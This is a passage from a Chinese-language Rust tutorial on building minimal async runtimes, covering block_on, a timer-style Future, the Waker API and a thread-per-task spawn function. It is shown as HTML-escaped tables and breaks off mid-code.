&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;fn main() {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    block_on(async { println!(&quot;Hello world&quot;) });&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这时，我们编译运行代码，可以看到屏幕正常输出 Hello world 字串。&lt;&#x2F;p&gt;
&lt;p&gt;我们来看一看上述代码实际执行了什么动作：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;async 代码块构造了一个并发计算闭包，返回一个 Future trait 的实例。&lt;&#x2F;li&gt;
&lt;li&gt;这个 Future 被传到 block_on 函数里，用 &lt;code&gt;pin!&lt;&#x2F;code&gt; 宏构造了符合 poll 方法要求的 Pin 实例。&lt;&#x2F;li&gt;
&lt;li&gt;block_on 函数内，构造了一个 ThreadWaker 实例，持有当前线程的引用。&lt;&#x2F;li&gt;
&lt;li&gt;从 ThreadWaker 示例调用一系列构造器构造出 poll 方法需要的 Context 实例。&lt;&#x2F;li&gt;
&lt;li&gt;调用 poll 方法，在本示例中，首次调用就会执行 println 动作并返回 &lt;code&gt;Poll::Ready(())&lt;&#x2F;code&gt; 结果，于是 block_on 函数返回。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;我们把这个例子稍微写复杂一点，把异步代码块从简单打印一个字符串，改为一个类似 Timer 的逻辑：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;struct MyFuture {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    id: u32,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    start: Instant,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    duration: Duration,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;impl Future for MyFuture {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    type Output = ();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn poll(self: Pin&amp;lt;&amp;amp;mut Self&amp;gt;, cx: &amp;amp;mut Context&amp;lt;&#x27;_&amp;gt;) -&amp;gt; Poll[Self::Output](Self::Output) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        println!(&quot;Polling {} {}&quot;, self.id, chrono::Utc::now());&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let now = Instant::now();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let expect = self.start + self.duration;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let id = self.id;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        if expect &amp;gt; now {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            let duration = expect - now;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            let waker = cx.waker().clone();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            thread::spawn(move || {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                sleep(duration);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                println!(&quot;Wake up {id} {}&quot;, chrono::Utc::now());&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                waker.wake();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            });&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            println!(&quot;Pending {id} {}&quot;, chrono::Utc::now());&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            Poll::Pending&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            println!(&quot;Ready {id} {}&quot;, chrono::Utc::now());&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            Poll::Ready(())&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;fn main() {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    println!(&quot;Start {}&quot;, chrono::Utc::now());&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    block_on(MyFuture {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        id: 1,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        start: Instant::now(),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        duration: Duration::from_secs(10),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    });&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    println!(&quot;Finish {}&quot;, chrono::Utc::now());&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;输出内容如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;Start 2023-11-05 09:53:03.202626 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Polling 1 2023-11-05 09:53:03.203152 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Pending 1 2023-11-05 09:53:03.203222 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Wake up 1 2023-11-05 09:53:13.206258 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Polling 1 2023-11-05 09:53:13.206370 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Ready 1 2023-11-05 09:53:13.206396 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Finish 2023-11-05 09:53:13.206407 UTC&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;可以看到，两次 Polling 之间间隔了十秒钟。实际执行的内容如下：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;同上 block_on 函数第一次调用 poll 方法，这次 poll 返回了 &lt;code&gt;Poll::Pending&lt;&#x2F;code&gt; 结果，于是 block_on 阻塞在 &lt;code&gt;thread::park()&lt;&#x2F;code&gt; 上。该方法用同步原语信号量阻塞当前线程，并等待其他线程调用 unpark 唤醒内部信号量。&lt;&#x2F;li&gt;
&lt;li&gt;poll 方法返回 Pending 前，从 Context 里取得 Waker 实例，并启动一个新线程，在十秒后调用 &lt;code&gt;waker.wake()&lt;&#x2F;code&gt; 方法。&lt;&#x2F;li&gt;
&lt;li&gt;wake 方法调用即调用 &lt;code&gt;self.0.unpark()&lt;&#x2F;code&gt; 方法，于是第一步里阻塞的线程恢复执行，在 loop 中再次调用 MyFuture 的 poll 方法，此时时间已经超过预计等待时间，方法返回 &lt;code&gt;Poll::Ready(())&lt;&#x2F;code&gt; 结果，block_on 方法也返回。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Simplest Runtime 在 crates.io 上有一个完整的实现 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;pollster&quot;&gt;pollster&lt;&#x2F;a&gt; 运行时。这个运行时的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;zesterer&#x2F;pollster&#x2F;blob&#x2F;58f420e1ac19def81183ca4140470e4bb956fd11&#x2F;src&#x2F;lib.rs&quot;&gt;核心代码&lt;&#x2F;a&gt;同样极其简短，不超过一百行。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;waker-api&quot;&gt;Waker API&lt;&#x2F;h3&gt;
&lt;p&gt;上面这个例子解释了在 Rust 的 Future API 中神秘的 Context 参数和它唯一传递的 Waker 实例的作用：Waker 实际上就是一个回调闭包，使用 &lt;code&gt;wake&lt;&#x2F;code&gt; 或 &lt;code&gt;wake_by_ref&lt;&#x2F;code&gt; 执行通知异步运行时可以再次调度当前 Future 计算。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;waker-fn&quot;&gt;waker-fn&lt;&#x2F;a&gt; 库提供了闭包到 Waker API 的适配器，这直观地展示了 Waker 就是一个回调闭包：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;pub fn waker_fn&amp;lt;F: Fn() + Send + Sync + &#x27;static&amp;gt;(f: F) -&amp;gt; Waker {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    Waker::from(Arc::new(Helper(f)))&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;struct Helper&amp;lt;F&amp;gt;(F);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;impl&amp;lt;F: Fn() + Send + Sync + &#x27;static&amp;gt; Wake for Helper&amp;lt;F&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  fn wake(self: Arc) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        (self.0)();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  fn wake_by_ref(self: &amp;amp;Arc) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        (self.0)();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;那么，为什么 Rust 要在 FnOnce 和 Fn 之外设计 Waker API 呢？我们看到 Waker 的定义：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;pub struct Waker {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    waker: RawWaker,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;pub struct RawWaker {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    data: *const (),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    vtable: &amp;amp;&#x27;static RawWakerVTable,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;pub struct RawWakerVTable {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    clone: unsafe fn(*const ()) -&amp;gt; RawWaker,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    wake: unsafe fn(*const ()),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    wake_by_ref: unsafe fn(*const ()),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    drop: unsafe fn(*const ()),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;impl Waker {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    pub fn wake(self) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let wake = self.waker.vtable.wake;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let data = self.waker.data;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        crate::mem::forget(self);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        unsafe { (wake)(data) };&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    pub fn wake_by_ref(&amp;amp;self) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        unsafe { (self.waker.vtable.wake_by_ref)(self.waker.data) }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;RawWaker 中的 &lt;code&gt;data&lt;&#x2F;code&gt; 字段，内容就是 Waker 本身。这跟我们常见的 Safe Rust 有很大的区别。它使用了等价于 &lt;code&gt;void*&lt;&#x2F;code&gt; 的 &lt;code&gt;*const ()&lt;&#x2F;code&gt; 以及一系列方法引用构成 VTable 来组成 RawWaker 进而构成 Waker 实例，从而在类型签名中把类型参数或生命周期标记给抹掉。&lt;&#x2F;p&gt;
&lt;p&gt;这样，Rust 的 Async API 可以直接传递 struct Waker 的实例，而不是 &lt;code&gt;Box&amp;lt;dyn FnOnce()&amp;gt;&lt;&#x2F;code&gt; 或 &lt;code&gt;Box&amp;lt;dyn FnOnce()&amp;gt;&lt;&#x2F;code&gt; 等。但是，后者编译时会被 Rust 编译器在生命周期和是否 Send 等类型约束上不停折磨，甚至有些代码表达不出来。&lt;&#x2F;p&gt;
&lt;p&gt;由于我们此时知道 Waker 对应的回调一定是可用的，所以 Rust 的 Async API 选择使用 VTable 和 unsafe 来实现躲过编译器检查的 &lt;code&gt;Box&amp;lt;dyn FnOnce()&amp;gt;&lt;&#x2F;code&gt; 的类型。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;simplest-parallel-runtime&quot;&gt;Simplest Parallel Runtime&lt;&#x2F;h3&gt;
&lt;p&gt;上述异步运行时实现里，我们观察到了异步代码被 poll 的过程，但是这跟常见的通过并发实现并行，同时执行多个任务还是有所出入。&lt;&#x2F;p&gt;
&lt;p&gt;我们对 block_on 的代码稍作改动，把阻塞在当前线程的行为改为每次传入一个新的 Future 实例，就启动一个新线程来驱动执行，同时，将函数名改为 &lt;code&gt;spawn&lt;&#x2F;code&gt; 以体现出这种行为的改变：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;fn spawn&amp;lt;F&amp;gt;(fut: F) -&amp;gt; Receiver&amp;lt;F::Output&amp;gt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    where F: Future + Send + &#x27;static,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          F::Output: Send,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;{&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let (tx, rx) = mpsc::channel();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    thread::spawn(move || {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let mut fut = pin!(fut);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let t = thread::current();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let waker = Arc::new(ThreadWaker(t)).into();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let mut cx = Context::from_waker(&amp;amp;waker);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        loop {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            match fut.as_mut().poll(&amp;amp;mut cx) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                Poll::Ready(res) =&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                    let _ = tx.send(res);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                    break;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                Poll::Pending =&amp;gt; thread::park(),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    });&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    rx&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这时，我们再编写一个同时启动两个任务的应用程序：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br 